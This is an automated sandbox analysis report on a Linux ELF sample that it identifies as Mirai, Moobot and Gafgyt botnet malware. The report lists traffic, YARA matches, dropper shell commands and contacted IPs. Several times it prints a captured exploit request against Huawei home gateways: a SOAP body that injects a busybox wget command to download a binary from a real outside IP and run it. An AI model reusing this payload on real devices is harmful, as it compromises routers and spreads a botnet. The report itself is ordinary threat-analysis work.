wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 197.177.188.105
Source: unknown	TCP traffic detected without corresponding DNS query: 41.59.173.161
Source: unknown	TCP traffic detected without corresponding DNS query: 157.84.173.102
Source: unknown	TCP traffic detected without corresponding DNS query: 157.172.201.119
Source: unknown	TCP traffic detected without corresponding DNS query: 41.88.124.244
Source: unknown	TCP traffic detected without corresponding DNS query: 197.234.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 41.240.223.204
Source: unknown	TCP traffic detected without corresponding DNS query: 197.159.13.122
Source: unknown	TCP traffic detected without corresponding DNS query: 41.187.14.3
Source: unknown	TCP traffic detected without corresponding DNS query: 157.109.52.196
Source: unknown	TCP traffic detected without corresponding DNS query: 41.28.198.60
Source: unknown	TCP traffic detected without corresponding DNS query: 157.48.46.102
Source: unknown	TCP traffic detected without corresponding DNS query: 41.213.200.22
Source: unknown	TCP traffic detected without corresponding DNS query: 157.108.205.143
Source: unknown	TCP traffic detected without corresponding DNS query: 148.94.3.83
Source: unknown	TCP traffic detected without corresponding DNS query: 197.37.53.79
Source: unknown	TCP traffic detected without corresponding DNS query: 157.156.162.199
Source: unknown	TCP traffic detected without corresponding DNS query: 157.205.17.4
Source: unknown	TCP traffic detected without corresponding DNS query: 41.173.117.4
Source: unknown	TCP traffic detected without corresponding DNS query: 197.35.113.47
Source: unknown	TCP traffic detected without corresponding DNS query: 41.18.245.29
Source: unknown	TCP traffic detected without corresponding DNS query: 41.91.82.148
Source: unknown	TCP traffic detected without corresponding DNS query: 157.249.225.91
Source: unknown	TCP traffic detected without corresponding DNS query: 157.38.65.127
Source: unknown	TCP traffic detected without corresponding DNS query: 153.6.146.12
Source: unknown	TCP traffic detected without corresponding DNS query: 41.165.42.202
Source: unknown	TCP traffic detected without corresponding DNS query: 221.4.37.244
Source: unknown	TCP traffic detected without corresponding DNS query: 207.233.206.196
Source: unknown	TCP traffic detected without corresponding DNS query: 76.155.143.172
Source: unknown	TCP traffic detected without corresponding DNS query: 41.85.67.18
Source: unknown	TCP traffic detected without corresponding DNS query: 197.222.143.196
Source: unknown	TCP traffic detected without corresponding DNS query: 41.115.11.233
Source: unknown	TCP traffic detected without corresponding DNS query: 157.60.205.239
Source: unknown	TCP traffic detected without corresponding DNS query: 197.100.148.206
Source: unknown	TCP traffic detected without corresponding DNS query: 62.145.68.134
Source: unknown	TCP traffic detected without corresponding DNS query: 197.228.77.157
Source: unknown	TCP traffic detected without corresponding DNS query: 180.9.6.101
Source: unknown	TCP traffic detected without corresponding DNS query: 61.98.120.1
Source: unknown	TCP traffic detected without corresponding DNS query: 197.20.252.229
Source: unknown	TCP traffic detected without corresponding DNS query: 38.159.96.79
Source: unknown	TCP traffic detected without corresponding DNS query: 157.227.185.30
Source: unknown	TCP traffic detected without corresponding DNS query: 197.0.84.190
Source: unknown	TCP traffic detected without corresponding DNS query: 197.177.127.55
Source: unknown	TCP traffic detected without corresponding DNS query: 197.88.204.252
Source: unknown	TCP traffic detected without corresponding DNS query: 197.95.151.221
Source: unknown	TCP traffic detected without corresponding DNS query: 41.149.105.154
Source: unknown	TCP traffic detected without corresponding DNS query: 197.89.253.13
Source: unknown	TCP traffic detected without corresponding DNS query: 197.25.121.167
Source: unknown	TCP traffic detected without corresponding DNS query: 197.6.247.30
Source: unknown	TCP traffic detected without corresponding DNS query: 157.33.174.150

Source: 6lqMB7o2Ts.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 6lqMB7o2Ts.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: BC@^]B

System Summary

Malicious sample detected (through community Yara rule)

Source: 6lqMB7o2Ts.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6240, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Yara signature match

Source: 6lqMB7o2Ts.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6240, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdw5q6he3dbrsgmclkiu4to18npavj702f@

Source: classification engine

Classification label: mal92.troj.linELF@0/0@105/0

Persistence and Installation Behavior

Sets full permissions to files and/or directories

Source: /bin/sh (PID: 6237)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Executes the "mkdir" command used to create folders

Source: /bin/sh (PID: 6235)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Jump to behavior

Executes the "chmod" command used to modify permissions

Source: /bin/sh (PID: 6237)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Sample tries to set the executable flag

Source: /usr/bin/chmod (PID: 6237)

File: /tmp/bin/systemd (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/6lqMB7o2Ts.elf (PID: 6232)

Shell command executed: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/6lqMB7o2Ts.elf bin/systemd; chmod 777 bin/systemd"

Jump to behavior

Executes the "rm" command used to delete files or directories

Source: /bin/sh (PID: 6234)

Rm executable: /usr/bin/rm -> rm -rf bin/systemd

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 41076
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58734
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/6lqMB7o2Ts.elf (PID: 6230)

Queries kernel information via 'uname':

Jump to behavior

Source: 6lqMB7o2Ts.elf, 6230.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/6lqMB7o2Ts.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/6lqMB7o2Ts.elf
Source: 6lqMB7o2Ts.elf, 6230.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: 6lqMB7o2Ts.elf, 6230.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: 6lqMB7o2Ts.elf, 6230.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 6lqMB7o2Ts.elf, type: SAMPLE
Source: Yara match	File source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: 6lqMB7o2Ts.elf, type: SAMPLE
Source: Yara match	File source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: 6lqMB7o2Ts.elf, type: SAMPLE
Source: Yara match	File source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: 6lqMB7o2Ts.elf, type: SAMPLE
Source: Yara match	File source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTR

Screenshots

No Screenshots

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
87.213.190.11	unknown	Netherlands	13127	VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo	false
41.36.131.167	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.58.66.159	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.220.190.33	unknown	Ghana	37341	GLOMOBILEGH	false
197.86.54.125	unknown	South Africa	10474	OPTINETZA	false
157.203.49.95	unknown	United Kingdom	21369	SEMA-UK-ASGB	false
39.79.149.79	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
157.48.46.102	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
75.125.242.147	unknown	United States	36351	SOFTLAYERUS	false
197.13.10.216	unknown	Tunisia	37504	MeninxTN	false
39.117.85.134	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
157.202.188.31	unknown	United States	1759	TSF-IP-CORETeliaFinlandOyjEU	false
157.40.6.77	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
86.55.14.254	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
157.129.143.141	unknown	Finland	41701	CAP-FIN-ASFI	false
41.16.118.241	unknown	South Africa	36994	Vodacom-VBZA	false
157.90.119.127	unknown	United States	766	REDIRISRedIRISAutonomousSystemES	false
197.233.216.89	unknown	Namibia	36999	TELECOM-NAMIBIANA	false
41.205.82.241	unknown	Cameroon	36905	Creolink-ASNCM	false
197.210.52.180	unknown	Nigeria	29465	VCG-ASNG	false
197.31.140.190	unknown	Tunisia	37492	ORANGE-TN	false
41.242.195.81	unknown	South Africa	37105	NEOLOGY-ASZA	false
41.220.60.244	unknown	unknown	36900	UNASSIGNED	false
197.240.218.219	unknown	unknown	37705	TOPNETTN	false
177.234.21.222	unknown	Mexico	13591	MexicoReddeTelecomunicacionesSdeRLdeCVMX	false
157.245.2.251	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
41.172.244.43	unknown	South Africa	36937	Neotel-ASZA	false
197.65.94.91	unknown	South Africa	16637	MTNNS-ASZA	false
41.190.129.206	unknown	Mauritius	36997	INFOCOM-UG	false
197.176.2.41	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
157.180.38.236	unknown	Sweden	22192	SSHENETUS	false
41.116.198.169	unknown	South Africa	16637	MTNNS-ASZA	false
157.29.116.114	unknown	Italy	8968	BT-ITALIAIT	false
197.186.206.49	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
41.177.165.227	unknown	South Africa	36874	CybersmartZA	false
197.31.148.1	unknown	Tunisia	37492	ORANGE-TN	false
41.243.103.146	unknown	Congo The Democratic Republic of The	37684	ANGANI-ASKE	false
41.182.10.68	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
41.95.189.153	unknown	Sudan	36998	SDN-MOBITELSD	false
157.77.107.252	unknown	Japan	4678	FINECanonITSolutionsIncJP	false
157.250.6.188	unknown	United States	32934	FACEBOOKUS	false
197.16.224.23	unknown	Tunisia	37693	TUNISIANATN	false
166.248.166.103	unknown	United States	22394	CELLCOUS	false
67.231.248.15	unknown	United States	40244	TURNKEY-INTERNETUS	false
157.74.15.86	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
99.255.49.46	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
41.145.58.85	unknown	South Africa	5713	SAIX-NETZA	false
41.133.99.106	unknown	South Africa	10474	OPTINETZA	false
181.155.228.131	unknown	Colombia	26611	COMCELSACO	false
157.47.196.245	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
148.230.177.14	unknown	Mexico	3549	LVLT-3549US	false
197.12.205.119	unknown	Tunisia	37703	ATLAXTN	false
157.1.148.117	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
197.190.238.237	unknown	Ghana	37140	zain-asGH	false
41.216.159.4	unknown	Burkina Faso	37073	IPP-burkina-asBF	false
41.120.89.167	unknown	South Africa	16637	MTNNS-ASZA	false
197.9.0.253	unknown	Tunisia	5438	ATI-TN	false
24.132.41.40	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
157.94.173.77	unknown	Finland	51164	CYBERCOM-FICybercomFinlandOyFI	false
157.172.225.252	unknown	France	22192	SSHENETUS	false
197.89.97.51	unknown	South Africa	10474	OPTINETZA	false
41.88.141.232	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
197.72.190.161	unknown	South Africa	16637	MTNNS-ASZA	false
197.158.15.171	unknown	Mozambique	30619	TDM-ASMZ	false
169.186.225.238	unknown	United States	37611	AfrihostZA	false
157.108.225.9	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
41.143.116.57	unknown	Morocco	36903	MT-MPLSMA	false
41.69.75.113	unknown	Egypt	24835	RAYA-ASEG	false
197.219.202.95	unknown	Mozambique	37342	MOVITELMZ	false
